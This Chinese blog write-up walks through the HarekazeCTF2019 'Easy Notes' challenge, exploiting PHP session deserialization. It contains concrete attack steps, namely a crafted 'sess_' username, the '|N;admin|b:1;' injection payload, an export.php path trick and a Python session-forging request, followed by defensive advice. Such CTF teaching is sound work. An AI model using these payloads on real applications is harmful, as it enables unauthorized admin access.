当前位置: 首页 > news >正文

从一道CTF题看PHP Session反序列化:手把手教你复现HarekazeCTF2019的Easy Notes

从零攻破HarekazeCTF2019的Easy Notes:PHP Session反序列化实战指南

第一次参加CTF比赛时,遇到PHP Session相关的题目总让人一头雾水。那些看似无害的PHPSESSID背后究竟隐藏着什么秘密?今天我们就以HarekazeCTF2019的Easy Notes为例,彻底揭开Session反序列化的神秘面纱。不同于简单的解题脚本分享,本文将带你从PHP底层机制出发,一步步构建完整的攻击链条。

1. 环境准备与题目分析

在开始之前,建议使用Docker快速搭建一个与比赛相似的环境。以下是我的本地测试配置:

docker run -d -p 8080:80 --name harakaze_ctf \ -v /path/to/your/code:/var/www/html \ php:7.2-apache

题目核心逻辑可以归纳为三个关键点:

  1. 身份验证完全依赖Session中的is_admin标志
  2. Session文件存储在/var/www/tmp目录
  3. 笔记系统允许用户创建特定格式的文件

通过export.php的源码审计(假设我们已通过某种方式获取),发现存在路径穿越漏洞:

$filename = str_replace('..', '', $note['title']).'.'.$type;

2. PHP Session机制深度解析

PHP默认使用文件存储Session数据,其命名规则为sess_[PHPSESSID]。在Ubuntu系统中,常见的存储路径包括:

环境默认Session路径
PHP默认/tmp
Ubuntu/var/lib/php/sessions
PHPStudyC:\phpStudy\PHPTutorial\tmp\tmp

关键点在于serialize_handler的设置。当使用php引擎时(非php_serialize),Session数据会以特殊格式存储:

admin|b:1; → 反序列化为:['admin' => true]

这种格式使用竖线|作为分隔符,正是我们利用的核心。通过构造特定的输入,可以注入恶意序列化数据。

3. 构建攻击链条

完整的攻击流程分为四个阶段:

  1. 注册特殊用户名
    创建一个以sess_开头的用户名,这样笔记文件就会与Session文件同名:

    POST /login.php HTTP/1.1 user=sess_ubuntu
  2. 注入序列化数据
    通过笔记标题注入我们的payload:

    POST /add.php HTTP/1.1 title=|N;admin|b:1; body=anything

    这里的N;是为了清除之前可能存在的序列化数据

  3. 利用路径穿越获取Session ID
    触发export.php的文件下载:

    GET /export.php?type=. HTTP/1.1

    服务器返回的Content-Disposition头会泄露完整的文件名:

    attachment; filename="sess_ubuntu."
  4. 伪造Session获取flag
    最后将获取到的Session ID设置到cookie中:

    import requests cookies = {'PHPSESSID': 'ubuntu'} r = requests.get('http://target/?page=flag', cookies=cookies) print(r.text)

4. 防御方案与思考

在实际开发中,避免此类漏洞需要注意以下几点:

  • 修改Session存储路径
    在php.ini中设置非常规路径:

    session.save_path = "/custom/path"
  • 严格校验用户输入
    对文件名、Session ID等进行严格过滤:

    if (!preg_match('/^[a-zA-Z0-9]+$/', $_POST['user'])) { die('Invalid username'); }
  • 使用更安全的序列化处理器
    考虑使用php_serialize配合自定义Session处理器:

    ini_set('session.serialize_handler', 'php_serialize');

在本地测试时,我发现PHP 7.2+版本对Session处理更加严格,部分payload需要调整。建议初学者先在PHP 5.6环境下练习,再逐步过渡到新版本。

http://www.zskr.cn/news/1459785.html

相关文章:

  • 气井井口压力已知时快速推算井底流压的MATLAB工具集
  • GLM-5.1办公语义理解器:让AI真正读懂任务意图与组织规则
  • VC6环境下用MFC开发的纯文本通讯录工具,带完整增删查改功能和源码
  • DLSS状态指示器终极指南:如何轻松监控游戏AI超分辨率性能
  • 零基础自学网安总找不到靠谱资料?完整自学步骤全梳理,配套对应系统视频教程 + 详细学习笔记,告别碎片化学习,新手少走半年弯路
  • WBench-weights核心模型详解:CLIP、DINOv2、Qwen2-VL等15个模型的完整对比
  • 即梦去水印保存怎么还有水印?实测这3种方法100%有效(附免费工具) - 科技热点发布
  • WebPlotDigitizer:3步将科研图表数据智能提取为Excel表格
  • Steam成就管理终极指南:如何使用SAM快速解锁你的游戏成就
  • 别再到处找教程了!JDK 1.8/11/17下keytool操作证书的保姆级命令手册(含Windows/Linux路径差异)
  • 基于2008–2028年文旅数据的Python实操包:用随机森林跑通旅游收入预测与影响因子分析
  • SpringBoot项目里,如何用PostgreSQL持久化Quartz定时任务(附完整代码和表结构)
  • 班级亲子照片投票活动,用小程序评选超省心 - 微信投票小程序
  • 74HC165级联踩坑实录:STM32读取32路开关状态,时序调试与常见问题排查
  • Swin Transformer V2模型部署终极指南:NPU与CPU双环境快速配置教程
  • 用主线内核+Uboot,让吃灰的全志A13山寨平板变身Linux开发板(附完整DTS配置)
  • 别再乱改my.cnf了!Docker+MySQL 8.0大小写敏感配置的一劳永逸方法
  • 新手教程:github访问受阻时,用快马ai生成你的第一个网页
  • YOLO11涨点优化:训练技巧 | 使用标签平滑(Label Smoothing)配合余弦退火学习率,防止过拟合,稳步提点
  • 明星合作预算与方案怎么做?一份从询价到签约落地的全流程决策指南 - GrowthUME
  • 终极免费解锁WeMod专业版:2026年完整指南与避坑手册
  • 2026年成都、武汉、深圳坤沙酱酒定制与加盟怎么选?盈贵人村超同款酱酒深度横评 - 精选优质企业推荐官
  • 如何利用Google 10000英语词频库提升NLP应用性能?
  • ensp配置效率提升秘籍:快马AI自动生成标准化网络模板
  • 如何快速上手Flan-T5-TSA-THoR:5分钟完成目标情感分析
  • 2026无锡装意式极简全屋定制,我连跑了三个小区看邻居家落地 - 高定
  • llm-jp-3-1.8b-instruct実践教程:Pythonで日本語テキスト生成を実現する方法
  • 如何快速美化foobar2000:5个简单步骤提升音乐播放体验
  • # 2026年广州同城婚介脱单公司实力排行榜:5大权威推荐 - 十大品牌榜
  • 2026 洋浦十大财税代办公司排行榜,本地靠谱财税机构怎么选?公司注册+代账报税全流程代办服务 - GrowthUME